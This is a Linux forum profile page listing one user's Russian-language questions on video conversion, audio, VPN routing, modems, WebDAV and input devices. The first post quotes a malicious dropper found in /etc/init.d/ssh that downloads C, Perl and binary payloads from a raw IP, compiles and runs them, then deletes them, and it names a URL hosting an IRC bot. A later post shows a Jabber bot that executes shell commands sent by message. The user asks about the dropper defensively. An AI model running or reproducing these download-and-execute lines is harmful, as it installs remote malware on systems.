LINUX.ORG.RU

Сообщения conformist

 

Что делает этот бот

Форум — Security

Сегодня наткнулся на скрипт, который как-то связан с irc ботом, нашли его в /etc/init.d/ssh, вот его содержимое:

wget http://205.237.100.170/manual/a.c -O /tmp/init.c;
gcc -o /tmp/init /tmp/init.c;
chmod +x /tmp/init;
/tmp/init;
rm -rf /tmp/init /tmp/init.c;

wget http://205.237.100.170/manual/pb -O /tmp/p;perl /tmp/p;rm -rf /tmp/p;

wget http://205.237.100.170/manual/b -O /tmp/b;chmod +x /tmp/b;/tmp/b;rm -rf /tmp/b;
располагается по адресу: http://stablehost.us/bots/regular.bot

собственно вопрос — что это, что следует сделать после нахождения оного.

 , , ,

conformist
()

pastebinit с логин/паролем

Форум — General

сабж. не хочет слать на сайт под моим аккаунтом. пробую так:

cat file | pastebinit -u user -p pass -a author -f bash
так же пробовал создавать ~/.pastebinit.xml, ~/.pastebinit.d/pastebin.com.conf и такой же в /etc по аналогии файла из /usr/share/pastebinit.d — все без толку. есть идеи?

 ,

conformist
()

ffmeg .mp4 to .avi xvid

Форум — General

Собственно вот, есть пачка файлов с такими данными:

mediainfo file.mp4 
General
Complete name                            : file.mp4
Format                                   : MPEG-4
Format profile                           : Base Media
Codec ID                                 : isom
File size                                : 736 MiB
Overall bit rate mode                    : Variable
Overall bit rate                         : 2 099 Kbps

Video
ID                                       : 1
Format                                   : AVC
Format/Info                              : Advanced Video Codec
Format profile                           : High@L3.1
Format settings, CABAC                   : Yes
Format settings, ReFrames                : 4 frames
Codec ID/Info                            : Advanced Video Coding
Bit rate                                 : 1 873 Kbps
Maximum bit rate                         : 6 869 Kbps
Width                                    : 1 280 pixels
Height                                   : 720 pixels
Display aspect ratio                     : 16:9
Frame rate                               : 25.000 fps
Chroma subsampling                       : 4:2:0
Bit depth                                : 8 bits
Bits/(Pixel*Frame)                       : 0.081
Stream size                              : 657 MiB (89%)
Audio #1
ID                                       : 2
Format                                   : AAC
Audio #2
ID                                       : 3
Format                                   : AAC
не нужное, на мой взгляд, поудалял, чтобы по-меньше вывод был. Цель: убрать вторую, ненужную аудио дорожку, первую сконвертировать в mp3. Видео перегнать в avi xvid для бытового плеера, другого он не умеет. Так же можно подогнать разрешение видео под обычный телек 640*480. Делаю так:
$ ffmpeg -i file.mp4 -map 0:0 -map 0:1 -acodec libmp3lame -vcodec mpeg4 -vtag XVID out_file.avi
Конвертирует, разрешение видео как у исходника, качество ужасное, размер видео в 2 раза меньше (что радует), со звуком вроде все в порядке.

Как правильно задать параметры видео, чтобы картинка была красивая для разрешения 640*480?

 , , ,

conformist
()

SPDIF Optical Ubuntu 14.04

Форум — General

Приветствую!

Ситуация такая. Имеется комп с интегрированным звуком от intel HDA, который оптикой воткнут в домашний кинотеатр 5.1. На убунте версии 12.04 6-канальный звук настраивал по этому мануалу - https://help.ubuntu.com/community/DigitalAC-3Pulseaudio

Звук был выше всяких похвал, просто лучше не бывает. После обновления на 14.04 звук работать перестал и даже в настройках не было нужного выбора (в 12.04 было «Цифровое устройство 5.1»). Зашел в alsamixer, там SPDIF вообще в муте стоит, вырубил мут, но в настройках так ничего и не появилось. При этом, когда снимаю мут в альсамиксере, колонки работают в стерео режиме, но с выбором аналогового звука, что не есть гут

Потом я решил установить с нуля и сделать все по мануалу и даже немного не по нему, думая, что конфиги и либы лежат в других папках, но не помогло.

На сей счет у меня два вопроса: как сделать, чтобы в alsamixer'е больше не стоял мут и как сделать вообще нормально этот звук? Вообще какие-нибудь мысли дайте, я не прочь поиспытывать все варианты

 ,

conformist
()

Трафик через туннель openvpn

Форум — General

Есть локальная сеть — 192.168.1.0/24. Шлюз сети — 192.168.1.1, сервер vpn — 192.168.1.5. Виртуальная сеть — 10.15.0.0/24. Часть настройки сервера server.conf:

local 192.168.1.5
port 1194
proto udp
dev tun
push "dhcp-option DNS 8.8.8.8"
push "route 192.168.1.0 255.255.255.0"
route 10.15.0.0 255.255.255.0
Правила и маршруты на сервере:
iptables -t nat -A POSTROUTING -s 10.15.0.0/24 -o eth0 -j MASQUERADE
iptables -I FORWARD -s 10.15.0.0/24 -d 192.168.1.0/24 -j ACCEPT

~$ route -n
Таблица маршутизации ядра протокола IP
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
10.15.0.0       0.0.0.0         255.255.255.0   U     0      0        0 tun0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0

Клиент — ноут с 3G-модемом. Часть server.conf:

dev tun
proto udp
port 1194
remote public_ip
client
Таблица маршрутов:
~# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         0.0.0.0         0.0.0.0         U     0      0        0 ppp0
10.15.0.0       0.0.0.0         255.255.255.0   U     0      0        0 tun0
10.64.64.64     0.0.0.0         255.255.255.255 UH    0      0        0 ppp0
192.168.1.0     10.15.0.1       255.255.255.0   UG    0      0        0 tun0

Итак. Сервер vpn с адресом 10.15.0.1 выдает адрес клиенту — 10.15.0.2. Разумеется есть пинг между ними. Так же клиент видит локальную сеть — 192.168.1.0/24. Нужно, чтобы трафик шел через этот туннель.

 , , ,

conformist
()

Сжатие звука в видео

Форум — General

Сабж. есть сериальчик, который необходимо записать на диски по 3 серии. Они чуток больше диска, в хорошем качестве, поэтому было принято решение понизить качество звука с 192кбит до 128кбит, чтобы не кодировать видео (думаю так быстрее получится).

Информация о файле:

$ mediainfo vvek25.avi 
General
Complete name                            : vvek25.avi
Format                                   : AVI
Format/Info                              : Audio Video Interleave
File size                                : 1.46 GiB
Duration                                 : 2h 1mn
Overall bit rate                         : 1 722 Kbps
Writing application                      : VirtualDubMod 1.5.10.3 | www.virtualdub-fr.org || (build 2550/release)
Writing library                          : VirtualDub build 32842/release

Video
ID                                       : 0
Format                                   : MPEG-4 Visual
Format profile                           : Advanced Simple@L5
Format settings, BVOP                    : 2
Format settings, QPel                    : No
Format settings, GMC                     : No warppoints
Format settings, Matrix                  : Default (H.263)
Codec ID                                 : XVID
Codec ID/Hint                            : XviD
Duration                                 : 2h 1mn
Bit rate                                 : 1 520 Kbps
Width                                    : 720 pixels
Height                                   : 400 pixels
Display aspect ratio                     : 16:9
Frame rate                               : 25.000 fps
Color space                              : YUV
Chroma subsampling                       : 4:2:0
Bit depth                                : 8 bits
Scan type                                : Progressive
Compression mode                         : Lossy
Bits/(Pixel*Frame)                       : 0.211
Stream size                              : 1.29 GiB (88%)
Writing library                          : XviD 1.2.1 (UTC 2008-12-04)

Audio
ID                                       : 1
Format                                   : MPEG Audio
Format version                           : Version 1
Format profile                           : Layer 3
Codec ID                                 : 55
Codec ID/Hint                            : MP3
Duration                                 : 2h 1mn
Bit rate mode                            : Constant
Bit rate                                 : 192 Kbps
Channel(s)                               : 2 channels
Sampling rate                            : 44.1 KHz
Compression mode                         : Lossy
Stream size                              : 167 MiB (11%)
Alignment                                : Split accross interleaves
Interleave, duration                     : 40 ms (1.00 video frame)
Interleave, preload duration             : 500 ms
Что я делаю:
$ mencoder vvek25.avi -o vvek25.avi -ovc xvid -oac mp3lame -lameopts vbr=3:q=4
MPlayer SVN-r37232 (C) 2000-2013 MPlayer Team
success: format: 0  data: 0x0 - 0x5d780906
libavformat version 55.44.100 (internal)
AVI file format detected.
[aviheader] Video stream found, -vid 0
[aviheader] Audio stream found, -aid 1
VIDEO:  [XVID]  720x400  12bpp  25.000 fps  1519.8 kbps (185.5 kbyte/s)
[V] filefmt:3  fourcc:0x44495658  size:720x400  fps:25.000  ftime:=0.0400
==========================================================================
Opening audio decoder: [mpg123] MPEG 1.0/2.0/2.5 layers I, II, III
AUDIO: 44100 Hz, 2 ch, s16le, 192.0 kbit/13.61% (ratio: 24000->176400)
Selected audio codec: [mpg123] afm: mpg123 (MPEG 1.0/2.0/2.5 layers I, II, III)
==========================================================================
xvid: using library version 1.3.3 (build xvid-1.3.3)
Opening video filter: [expand osd=1]
Expand: -1 x -1, -1 ; -1, osd: 1, aspect: 0.000000, round: 1
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
libavcodec version 55.68.100 (internal)
Selected video codec: [ffodivx] vfm: ffmpeg (FFmpeg MPEG-4)
==========================================================================
MP3 audio selected.
Movie-Aspect is 1.80:1 - prescaling to correct movie aspect.
videocodec: XviD (720x400 fourcc=44495658 [XVID])
xvid: par=0/0 (vga11), displayed=720x400, sampled=720x400
xvid: you must specify one or a valid combination of 'bitrate', 'pass', 'fixed_quant' settings
FATAL: Cannot initialize video driver.

Exiting...

и сразу же получаю файл нулевой длины.

ЧЯДНТ?

 ,

conformist
()

usb_modeswitch + 3g modem

Форум — General

После очередных обновлений перестал определяться модем как модем. Решаю вводом команды:

~# usb_modeswitch -v 0x12d1 -p 0x1446 -J

После этого появляются устройства /dev/ttyUSB*. Как починить?

debian sid, huawei e173

 , ,

conformist
()

Простой генератор с выводом суммы чисел

Форум — General

сабж. цель — нужно определенное количество чисел (рандомно) в заданном пределе и еще, чтобы все эти числа, помимо того, что выводятся на экран, еще и просуммировались и вывело сумму. я понимаю, что можно сделать как-то через потоковый калькулятор bc или awk, но не совсем понимаю, как это реализовать. собственно числа я получаю, нужно их просуммировать

#!/bin/bash

FLOOR=425
var=0
LIMIT=30
while [ "$var" -le $LIMIT ]; do
		INT=$(($RANDOM%500))
			if [ "$INT" -gt "$FLOOR" ]; then
					echo $INT.$(($RANDOM%99))
					var=$(($var+1))
				fi
	done

 

conformist
()

systemd usbserial module failed

Форум — General

собственно сабж. есть модем E173u-1, который управляется через usb_modswitch, и вполне себе работает, но в журнале событий постоянная ошибка:

root @ myWork ~# /lib/systemd/systemd-modules-load 
Failed to find module 'usbserial vendor=0x12d1 product=0x1436'
root @ myWork ~# systemctl status systemd-modules-load.service 
systemd-modules-load.service - Load Kernel Modules
   Loaded: loaded (/lib/systemd/system/systemd-modules-load.service; static)
   Active: failed (Result: exit-code) since Ср 2014-06-04 08:01:32 EEST; 8h ago
     Docs: man:systemd-modules-load.service(8)
           man:modules-load.d(5)
 Main PID: 1043 (code=exited, status=1/FAILURE)
   CGroup: name=systemd:/system/systemd-modules-load.service

июн 04 08:01:32 myWork systemd[1]: Starting Load Kernel Modules...
июн 04 08:01:32 myWork systemd-modules-load[1043]: Failed to find module 'usbserial vendor=0x12d1 product=0x1436'
июн 04 08:01:32 myWork systemd[1]: systemd-modules-load.service: main process exited, code=exited, status=1/FAILURE
июн 04 08:01:32 myWork systemd[1]: Failed to start Load Kernel Modules.
июн 04 08:01:32 myWork systemd[1]: Unit systemd-modules-load.service entered failed state.
я не могу понять, где мне этот модуль взять? в

/etc/usb_modswitch — пусто.

 , ,

conformist
()

Транслит команд в командной строке

Форум — General

сабж.

ввожу лшддфдд ылнзу, а bash выполняет команду killall skype. такое точно возмножно, но не гуглится никак

 

conformist
()

keymaps fn-клавиши

Форум — General

такая проблема. работают не все кнопки Fn+(F1...12). конкретно не работает Fn+F9 (вкл/выкл тачпада). определил что это за кнопка:

# /lib/udev/keymap -i /dev/input/event3 
Press ESC to finish, or Control-C if this device is not your primary keyboard
scan code: 0x6B   key code: touchpad_toggle
дописываю ее в файл карты кнопок:
# cat /lib/udev/keymaps/asus 
0xED volumeup
0xEE volumedown
0xEF mute
0x6B touchpad_toggle

# udevadm control --reload-rules
# /lib/udev/keymap /dev/input/event3 /lib/udev/keymaps/asus 
EVIOCGKEYCODE for scan code 0xed: Invalid argument
EVIOCGKEYCODE for scan code 0xee: Invalid argument
EVIOCGKEYCODE for scan code 0xef: Invalid argument

кнопка по прежнему не работает, еще даже не видно в комбинации клавиш в иксах. как мне назначить эту кнопку? ее даже xev игнорирует, как будто ее нет

 , ,

conformist
()

apache2.4 webdav debian

Форум — General

Добрый день. такая проблема: хочу сделать доступ к файлам по сети с помощью webdav. что не получается:

  • если сделать все по старым инструкциям, получаю ошибку Could not access / (not WebDAV-enabled?): 405 Method Not Allowed

  • если вынести все из <Location> в <directory>, то пускает всегда, не спрашивая паролей вообще
  • в обоих указанных случаях не подключается вообще через файл менеджер

Что хотелось бы: вход по логин/паролю нескольким пользователям с возможность редактировать данные. что я делал:

включил сам модуль webdav, список всего включенного:

# apache2ctl -MS
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server one.local (/etc/apache2/sites-enabled/one.local.conf:1)
         port 80 namevhost one.local (/etc/apache2/sites-enabled/one.local.conf:1)
                 alias www.one.local
         port 80 namevhost webdav.local (/etc/apache2/sites-enabled/webdav.local.conf:1)
                 alias www.webdav.local
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex default: dir="/var/lock/apache2" mechanism=fcntl 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_MODULES
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="#-1" id=4294967295
Group: name="#-1" id=4294967295
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 dav_module (shared)
 dav_fs_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php5_module (shared)
 rewrite_module (shared)
 scgi_module (shared)
 setenvif_module (shared)
 status_module (shared)
создал файл паролей:
htpasswd -c /var/www/passwd.dav conformist
создал виртуальный хост webdav.local
# cat /etc/apache2/sites-available/webdav.local.conf 
<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	ServerName webdav.local
	ServerAlias www.webdav.local
	DocumentRoot /home/conformist/webdav.local
	
	<Directory "/home/conformist/webdav.local">
		Options Indexes MultiViews
		AllowOverride All
		Require all granted	
		dav on
		AuthType Basic
		AuthName conformist
		AuthUserFile /var/www/passwd.dav
		Require valid-user
	</Directory>
	#Alias /webdav /home/conformist/webdav.local
	#<Location /webdav>
	#		</Location>
</VirtualHost>
# apache2 -v
Server version: Apache/2.4.9 (Debian)
Server built:   Mar 29 2014 21:52:01
так же хотелось бы решить проблему: в error.log полно таких записей:
[Thu May 22 09:48:45.760555 2014] [unixd:alert] [pid 17669] AH02155: getpwuid: couldn't determine user name from uid -1, you probably need to modify the User directive
в сети решение, нужно в apache2.conf дописать
user nobody
group nobody
но если это сделать, сервер не запускается.

так же я создал специально файл index.html в одном из подкаталогов /webdav и браузер его открывает, хотя мне нужно, чтобы он его игнорировал и просто показывал содержимое директории. правило есть, но браузер его игнорирует, похоже.

 , ,

conformist
()

debian firefox

Форум — General

Собственно сабж. Можно скачать тарбол и успокоиться, но обновляться он не хочет, нужно все делать самому. Так же есть репозиторий

deb http://packages.linuxmint.com debian import
но он не работает. хотелось бы рулить через менеджер пакетов, откуда его теперь брать?

 ,

conformist
()

aptitude -f install

Форум — General

пытаюсь навести порядок в системе, при пробе автоматического решения, предлагает удалить много пакетов, в списке был пакет brasero, я его вручную обновил, и теперь он в списке не появляется. вопрос— почему пакетный менеджер хочет их удалить и как это исправить автоматически?

root @ myWork ~# aptitude -f -s install
Следующие НОВЫЕ пакеты будут установлены:        
  libarmadillo4 libarpack2 libdbus-c++-1-0 libecore1 libeina1 libepsilon1 
  libgdal1h libmodule-pluggable-perl libopenscenegraph99 libsimgearcore3.0.0 
  libsimgearscene3.0.0 libspatialite5 libxine2 libxine2-bin libxine2-ffmpeg 
  libxine2-misc-plugins 
Следующие пакеты будут УДАЛЕНЫ:
  fgfs-aircraft-base{u} fgfs-models-base{u} gir1.2-clutter-gst-1.0{u} 
  gir1.2-gst-plugins-base-0.10{u} gir1.2-gstreamer-0.10{u} 
  gir1.2-gtkclutter-1.0{u} gir1.2-gtksource-3.0{u} libadplug-2.2.1-0{u} 
  libbinio1ldbl{u} libdnet{u} libgdal1{u} libgphoto2-2{u} libgphoto2-port0{u} 
  libgroupsock0{u} libgtksourceview-3.0-0{u} libgtksourceview-3.0-common{u} 
  libhd16{u} libjim0debian2{u} libkadm5clnt-mit8{u} libkadm5srv-mit8{u} 
  liblivemedia26{u} liblivemedia7{u} libmikmod2{u} libmusicbrainz5-0{u} 
  libopenscenegraph80{u} libplist1{u} libppl12{u} libreadline5{u} libroar2{u} 
  libserf1{u} libslp1{u} libtinyxml2-0.0.0{u} libtotem-plparser17{u} 
  libtracker-sparql-0.14-0{u} libusageenvironment0{u} libvala-0.20-0{u} 
  libx264-140{u} libxml++2.6-2{u} libzzip-0-13{u} linux-kbuild-3.10{u} 
  linux-kbuild-3.9{u} python-debian{u} python-six{u} simgear2.12.0{u} twinkle{p} 
  valac-0.20{u} valac-0.20-vapi{u} 
0 пакетов обновлено, 16 установлено новых, 47 пакетов отмечено для удаления, и 792 пакетов не обновлено.
Необходимо получить 14,4 MB/14,5 MB архивов. После распаковки освободится 483 M байт.
Хотите продолжить? [Y/n/?] n
Прервать.

 

conformist
()

debian awesome xkbcomp

Форум — General

Блокируется панель awesome при русской раскладке. известный баг. пути решения

xkbcomp $DISPLAY - | egrep -v "group . = AltGr;" | xkbcomp - $DISPLAY
не подходит, т.к. на правом альте включается третий ряд (типографические символы).

другое решение — тут подсказали, что нужно откатить версию xkbcomp. это все хорошо, но в арчлинукс это отдельный пакет, а в дебиан это утилита из пакета x11-xkb-utils.

вот собственно и вопрос — а как мне сделать даунгрейд xkbcomp 1.2.4 до 1.2.3? не весь же пакет даунгрейдить?

~$ aptitude versions x11-xkb-utils
Пакет x11-xkb-utils:                                       
i A 7.7+1                                                                                      unstable                                                               500 
 ~$ xkbcomp -version
xkbcomp 1.2.4

 ,

conformist
()

click on tap touchpad

Форум — General

как просто включить клик при тапе? (awesome)

$ synclient -l
Parameter settings:
    LeftEdge                = 51
    RightEdge               = 1229
    TopEdge                 = 38
    BottomEdge              = 666
    FingerLow               = 1
    FingerHigh              = 1
    FingerPress             = 256
    MaxTapTime              = 180
    MaxTapMove              = 64
    MaxDoubleTapTime        = 180
    SingleTapTimeout        = 180
    ClickTime               = 100
    FastTaps                = 0
    EmulateMidButtonTime    = 75
    EmulateTwoFingerMinZ    = 282
    EmulateTwoFingerMinW    = 7
    VertScrollDelta         = 29
    HorizScrollDelta        = 29
    VertEdgeScroll          = 0
    HorizEdgeScroll         = 0
    CornerCoasting          = 0
    VertTwoFingerScroll     = 1
    HorizTwoFingerScroll    = 0
    MinSpeed                = 1
    MaxSpeed                = 1.75
    AccelFactor             = 0.136986
    TrackstickSpeed         = 40
    EdgeMotionMinZ          = 30
    EdgeMotionMaxZ          = 160
    EdgeMotionMinSpeed      = 1
    EdgeMotionMaxSpeed      = 116
    EdgeMotionUseAlways     = 0
    TouchpadOff             = 0
    LockedDrags             = 0
    LockedDragTimeout       = 5000
    RTCornerButton          = 0
    RBCornerButton          = 0
    LTCornerButton          = 0
    LBCornerButton          = 0
    TapButton1              = 0
    TapButton2              = 0
    TapButton3              = 0
    ClickFinger1            = 1
    ClickFinger2            = 1
    ClickFinger3            = 1
    CircularScrolling       = 0
    CircScrollDelta         = 0.1
    CircScrollTrigger       = 0
    CircularPad             = 0
    PalmDetect              = 0
    PalmMinWidth            = 10
    PalmMinZ                = 200
    CoastingSpeed           = 20
    CoastingFriction        = 50
    PressureMotionMinZ      = 30
    PressureMotionMaxZ      = 160
    PressureMotionMinFactor = 1
    PressureMotionMaxFactor = 1
    GrabEventDevice         = 1
    TapAndDragGesture       = 1
    AreaLeftEdge            = 0
    AreaRightEdge           = 0
    AreaTopEdge             = 0
    AreaBottomEdge          = 0
    HorizHysteresis         = 7
    VertHysteresis          = 7
    ClickPad                = 0
/etc/X11/xorg.conf.d/10-synaptics.conf — не существует. /etc/hal/fdi/information/11-x11-synaptics.fdi — не существует в общем все настройки устраивают, нужно только включить клик по тапу. И еще в винде работал 3-х пальцевый клик (аналог ctrl+«+/-»), почему не работает в линуксе?

 ,

conformist
()

setxkbmap включение клавиш третьего ряда

Форум — General

собственно 3-й ряд. что делаю:

setxkbmap -layout us,ru -option grp:lwin_toggle,nbsp:level3,lv3:ralt_switch,terminate:ctrl_alt_bksp &
но при зажатом правом альте ничего не происходит. debian jessie, dwm

 ,

conformist
()

lightdm dwm MATE

Форум — General

Есть дебиан с МАТЕ (основное ДЕ), хочу поставить и настроить dwm (или awesome), но, как известно, lightdm не запускает файл .xinitrc, который везде рекомендуют использовать для донастройки тайловых вм. вопрос, как мне сделать так, чтобы при старте dwm/awesome (можно что-нибудь одно) запускался файл настроек? с awesome, если не изменяет мне память, можно было в rc.lua записать что-то вроде:

os.execute("pgrep -u $USER -x xxkb || (xxkb &)")
а как быть с dwm?

 

conformist
()

gtalk jabber bot ruby

Форум — General

Есть простейший бот, собственно код:

#!/usr/bin/env ruby

require 'rubygems'
require 'xmpp4r-simple'
require 'session'
# Запускаем сеанс sh, в котором будет происходить выполнение команд
bot.deliver(msg.from, "\n" + stdout.chomp) unless stdout.empty?
@sh = Session::new
# Коннектимся к Jabber-серверу
bot = Jabber::Simple.new('bot-acc@gmail.com', "passw0rd")
while true
# Ожидаем сообщение
bot.received_messages do |msg|
# Проверяем, что сообщение пришло от юзер@gmail.com
if msg && msg.from.to_s.include?('deliver@gmail.com')
# Выполняем команды в сеансе sh
stdout, stderr = @sh.execute(msg.body) if msg.body
# Отправляем в ответном сообщении вывод команды
bot.deliver(msg.from, "\n" + stdout.chomp) unless stdout.empty?
# Отправляем поток ошибок
bot.deliver(msg.from, "\n" + stderr.chomp) unless stderr.empty?
end
end
запускаю, выдает ошибку:
$ ./gmail-bot:23: syntax error, unexpected $end, expecting keyword_end
^C
[1]+  Exit 1                  ./gmail-bot

 ,

conformist
()

Переподключение usb device

Форум — General

Такой вопрос: Вставляю флешку, она автоматически монтируется и ее можно увидеть в ФМ, там же я нажимаю на «Отмонтировать устройство» и все, более я не могу ее примонтировать, вот что делаю:

root @ myWork ~# ls -l /dev/sd*
brw-rw---- 1 root disk   8,  0 мар 30 13:29 /dev/sda
brw-rw---- 1 root disk   8,  1 мар 30 13:29 /dev/sda1
brw-rw---- 1 root floppy 8, 16 мар 30 14:24 /dev/sdb
root @ myWork ~# mount /dev/sdb /mnt/iso/
root @ myWork ~# ls /mnt/iso/
debian.iso
root @ myWork ~# umount /mnt/iso 
root @ myWork ~# ls -l /dev/sd*
brw-rw---- 1 root disk   8,  0 мар 30 13:29 /dev/sda
brw-rw---- 1 root disk   8,  1 мар 30 13:29 /dev/sda1
brw-rw---- 1 root floppy 8, 16 мар 30 14:26 /dev/sdb
root @ myWork ~# mount /dev/sdb /mnt/iso/
mount: no medium found on /dev/sdb
root @ myWork ~# modprobe -r ehci_hcd 
modprobe: FATAL: Module ehci_hcd is in use.
root @ myWork ~# modprobe -r usb_storage 
root @ myWork ~# modprobe usb_storage
отключение модуля не помогает, устройство пропадает из /dev, но потом появляется и смонтировать его все так же нельзя. Главный вопрос — как отключить устройство и заново подключить программно, не трогая устройство физически?

 , ,

conformist
()

RSS подписка на новые темы